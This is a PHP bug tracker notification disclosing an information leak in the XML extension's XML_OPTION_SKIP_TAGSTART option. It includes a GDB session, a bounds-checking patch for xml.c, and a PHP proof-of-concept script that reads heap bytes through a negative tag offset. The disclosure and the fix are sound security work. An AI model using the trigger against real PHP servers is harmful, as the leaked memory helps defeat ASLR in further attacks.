Sec Bug->Bug #66547 [Opn]: XML_OPTION_SKIP_TAGSTART information leak

Edit report at https://bugs.php.net/bug.php?id=66547&edit=1 ID: 66547 Updated by: stas@php.net Reported by: sean at persistencelabs dot com Summary: XML_OPTION_SKIP_TAGSTART information leak Status: Open -Type: Security +Type: Bug -Package: *General Issues +Package: DOM XML related PHP Version: master-Git-2014-01-22 (Git) Block user comment: N Private report: Y Previous Comments: ------------------------------------------------------------------------ [2014-01-22 16:58:27] sean at persistencelabs dot com From d6e911fa90a8cb711a9a94e6a3ae790bfe891b13 Mon Sep 17 00:00:00 2001 From: Sean Heelan <sean@persistencelabs.com> Date: Sun, 15 Dec 2013 23:14:51 +0000 Subject: [PATCH 1/1] Check that tag + tag offset is still actually within the tag string --- ext/xml/xml.c | 20 ++++++++++++++++++++ 1 file changed, 20 insertions(+) diff --git a/ext/xml/xml.c b/ext/xml/xml.c index 1ef01c8..c2c97d0 100644 --- a/ext/xml/xml.c +++ b/ext/xml/xml.c @@ -781,6 +781,13 @@ void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Ch parser->level++; tag_name = _xml_decode_tag(parser, name); + unsigned tag_len = strlen(tag_name); + if (parser->toffset > tag_len) { + TSRMLS_FETCH(); + php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length"); + return; + } + if (parser->startElementHandler) { args[0] = _xml_resource_zval(parser->index); @@ -866,6 +873,12 @@ void _xml_endElementHandler(void *userData, const XML_Char *name) zval *retval, *args[2]; tag_name = _xml_decode_tag(parser, name); + unsigned tag_len = strlen(tag_name); + if (parser->toffset > tag_len) { + TSRMLS_FETCH(); + php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length"); + return; + } if (parser->endElementHandler) { args[0] = _xml_resource_zval(parser->index); @@ -989,6 +1002,13 @@ void _xml_characterDataHandler(void *userData, const XML_Char *s, int len) array_init(tag); + unsigned tag_len = strlen(parser->ltags[parser->level-1]); + if (parser->toffset > tag_len) { + TSRMLS_FETCH(); + php_error_docref(NULL TSRMLS_CC, E_WARNING, "Tag offset > tag length"); + return; + } + _xml_add_to_info(parser,parser->ltags[parser->level-1] + parser->toffset); add_assoc_string(tag,"tag",parser->ltags[parser->level-1] + parser->toffset,1); -- 1.7.9.5 ------------------------------------------------------------------------ [2014-01-22 16:57:46] sean at persistencelabs dot com (gdb) r trigger.php The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/user/php/sapi/cli/php /home/user/trigger.php [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". Breakpoint 1, zif_xml_parser_set_option (ht=3, return_value=0xb7bdb21c, return_value_ptr=0xb7bbf10c, this_ptr=0x0, return_value_used=0) at ext/xml/xml.c:1622 1622 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &pind, &opt, &val) == FAILURE) { (gdb) n 1625 ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser); (gdb) 1627 switch (opt) { (gdb) 1633 convert_to_long_ex(val); (gdb) 1634 parser->toffset = Z_LVAL_PP(val); (gdb) 1635 break; (gdb) p/x parser->toffset $3 = 0xfffffffc (gdb) c Continuing. Breakpoint 2, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR", attributes=0x0) at ext/xml/xml.c:773 773 xml_parser *parser = (xml_parser *)userData; (gdb) l 768 /* }}} */ 769 770 /* {{{ _xml_startElementHandler() */ 771 void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Char **attributes) 772 { 773 xml_parser *parser = (xml_parser *)userData; 774 const char **attrs = (const char **) attributes; 775 char *tag_name; 776 char *att, *val; 777 int val_len; (gdb) 778 zval *retval, *args[3]; 779 780 if (parser) { 781 parser->level++; 782 783 tag_name = _xml_decode_tag(parser, name); 784 785 if (parser->startElementHandler) { 786 args[0] = _xml_resource_zval(parser->index); 787 args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset); (gdb) c Continuing. Breakpoint 3, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR", attributes=0x0) at ext/xml/xml.c:787 787 args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset); (gdb) x/s tag_name 0xb7bdc0e0: "FOO:BAR" (gdb) p/x parser->toffset $4 = 0xfffffffc (gdb) s _xml_string_zval (str=0xb7bdc0dc "\b\001") at ext/xml/xml.c:394 394 int len = strlen(str); (gdb) x/16x str 0xb7bdc0dc: 0x08 0x01 0x00 0x00 0x46 0x4f 0x4f 0x3a 0xb7bdc0e4: 0x42 0x41 0x52 0x00 0x25 0x00 0x00 0x00 (gdb) n 395 MAKE_STD_ZVAL(ret); (gdb) p/x len $5 = 0x2 (gdb) c Continuing. 0801 0801 [Inferior 1 (process 13133) exited normally] (gdb) ------------------------------------------------------------------------ [2014-01-22 16:56:57] sean at persistencelabs dot com Description: ------------ Summary ------- The xml_parser_set_option function allows one to specify a number of bytes to skip beyond the start of a tag, before passing this tag to various user-specified handlers. The value is not sanitised in any way and thus can be manipulated to read data at arbitrary offsets from the tag. Impact ------ The impact of this bug is an information leak. A malicious user can read data at arbitrary offsets from an allocated heap chunk. i.e. it's useful for defeating ASLR. Patch Details ------------- The patch (in a comment below) updates each location that makes use of the user-specified offset to ensure that it does not result in an out of bounds pointer. Bug Details ----------- The trigger file demonstrates this issue by specifying -4 as the offset. As shown in the attached GDB session, zif_xml_parser_set_option will store this value in the toffset attribute of the xml_parser object (line 1634). File : ext/xml/php_xml.h 46 typedef struct { ... 81 int toffset; ... 90 } xml_parser; File : ext/xml/xml.c 1616 PHP_FUNCTION(xml_parser_set_option) 1617 { 1618 xml_parser *parser; 1619 zval *pind, **val; 1620 long opt; 1621 1622 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "rlZ", &pind, &opt, &val) == FAILURE) { 1623 return; 1624 } 1625 ZEND_FETCH_RESOURCE(parser,xml_parser *, &pind, -1, "XML Parser", le_xml_parser); 1626 1627 switch (opt) { 1628 case PHP_XML_OPTION_CASE_FOLDING: 1629 convert_to_long_ex(val); 1630 parser->case_folding = Z_LVAL_PP(val); 1631 break; 1632 case PHP_XML_OPTION_SKIP_TAGSTART: 1633 convert_to_long_ex(val); 1634 parser->toffset = Z_LVAL_PP(val); 1635 break; (gdb) p/x parser->toffset $3 = 0xfffffffc The toffset attribute is used in a number of locations. In gdbsession.txt we can see it being used in the following code (line 787) to calculate the address of the string to pass to the start-element handler. By adding -4 we skip backwards into memory located before the string. File : ext/xml/xml.c 771 void _xml_startElementHandler(void *userData, const XML_Char *name, const XML_Char **attributes) 772 { 773 xml_parser *parser = (xml_parser *)userData; 774 const char **attrs = (const char **) attributes; 775 char *tag_name; 776 char *att, *val; 777 int val_len; 778 zval *retval, *args[3]; 779 780 if (parser) { 781 parser->level++; 782 783 tag_name = _xml_decode_tag(parser, name); 784 785 if (parser->startElementHandler) { 786 args[0] = _xml_resource_zval(parser->index); 787 args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset); 788 MAKE_STD_ZVAL(args[2]); 789 array_init(args[2]); 790 791 while (attributes && *attributes) { 792 att = _xml_decode_tag(parser, attributes[0]); 793 val = xml_utf8_decode(attributes[1], strlen(attributes[1]), &val_len, parser->target_encoding); 794 795 add_assoc_stringl(args[2], att, val, val_len, 0); 796 797 attributes += 2; 798 799 efree(att); 800 } 801 802 if ((retval = xml_call_handler(parser, parser->startElementHandler, parser->startElementPtr, 3, args))) { 803 zval_ptr_dtor(&retval); 804 } 805 } Breakpoint 3, _xml_startElementHandler (userData=0xb7bdb12c, name=0x8a6b510 "FOO:BAR", attributes=0x0) at ext/xml/xml.c:787 787 args[1] = _xml_string_zval(((char *) tag_name) + parser->toffset); (gdb) x/s tag_name 0xb7bdc0e0: "FOO:BAR" (gdb) p/x parser->toffset $4 = 0xfffffffc (gdb) s _xml_string_zval (str=0xb7bdc0dc "\b\001") at ext/xml/xml.c:394 394 int len = strlen(str); (gdb) x/16x str 0xb7bdc0dc: 0x08 0x01 0x00 0x00 0x46 0x4f 0x4f 0x3a 0xb7bdc0e4: 0x42 0x41 0x52 0x00 0x25 0x00 0x00 0x00 (gdb) p/x len $5 = 0x2 As shown, the string to be passed to the element handler is now considered to be (0x08 0x01) rather than (0x46 0x4f ...) [FOO:BAR]. The element handler then prints these byte values. EOF Test script: --------------- <?php $XML = <<<XML <?xml version="1.0"?> <FOO:BAR> </FOO:BAR> XML; function startElement($parser, $name, $attribs) { echo bin2hex($name) . PHP_EOL; } function endElement($parser, $name) { echo bin2hex($name) . PHP_EOL; } $xml_parser = xml_parser_create(); xml_set_element_handler($xml_parser, 'startElement', 'endElement'); xml_parser_set_option($xml_parser, XML_OPTION_SKIP_TAGSTART, 0xfffffffc); xml_parse($xml_parser, $XML); xml_parser_free($xml_parser); ?> ------------------------------------------------------------------------ -- Edit this bug report at https://bugs.php.net/bug.php?id=66547&edit=1